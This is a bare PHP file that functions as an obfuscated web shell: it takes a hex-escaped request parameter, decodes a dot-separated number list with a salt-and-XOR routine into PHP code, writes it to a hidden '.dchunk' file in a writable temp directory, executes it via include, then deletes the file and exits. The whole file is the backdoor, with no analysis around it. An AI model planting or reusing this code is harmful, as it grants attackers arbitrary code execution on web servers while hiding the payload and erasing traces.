<?php

if(@$_REQUEST["\x66lg"] !== null){
	$fac = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]);
	$flag = $_REQUEST["\x66lg"];
	$flag=  	explode	( 	"."	,$flag	)	 ;
	$obj = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6	);
            $j = 0;
    
            while($j <count($flag)) {	$v5 = $flag[$j];
                $chS = ord($salt6[$j % $sLen]	);
                $dec =((int)$v5 - $chS -($j % 10)) ^ 89;
                $obj		.=	chr($dec	);
                $j++;}
	while ($elem = array_shift($fac)) {
    		if (array_product([is_dir($elem), is_writable($elem)])) {
    $pointer = implode("/", [$elem, ".dchunk"]);
    if (file_put_contents($pointer, $obj)) {
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}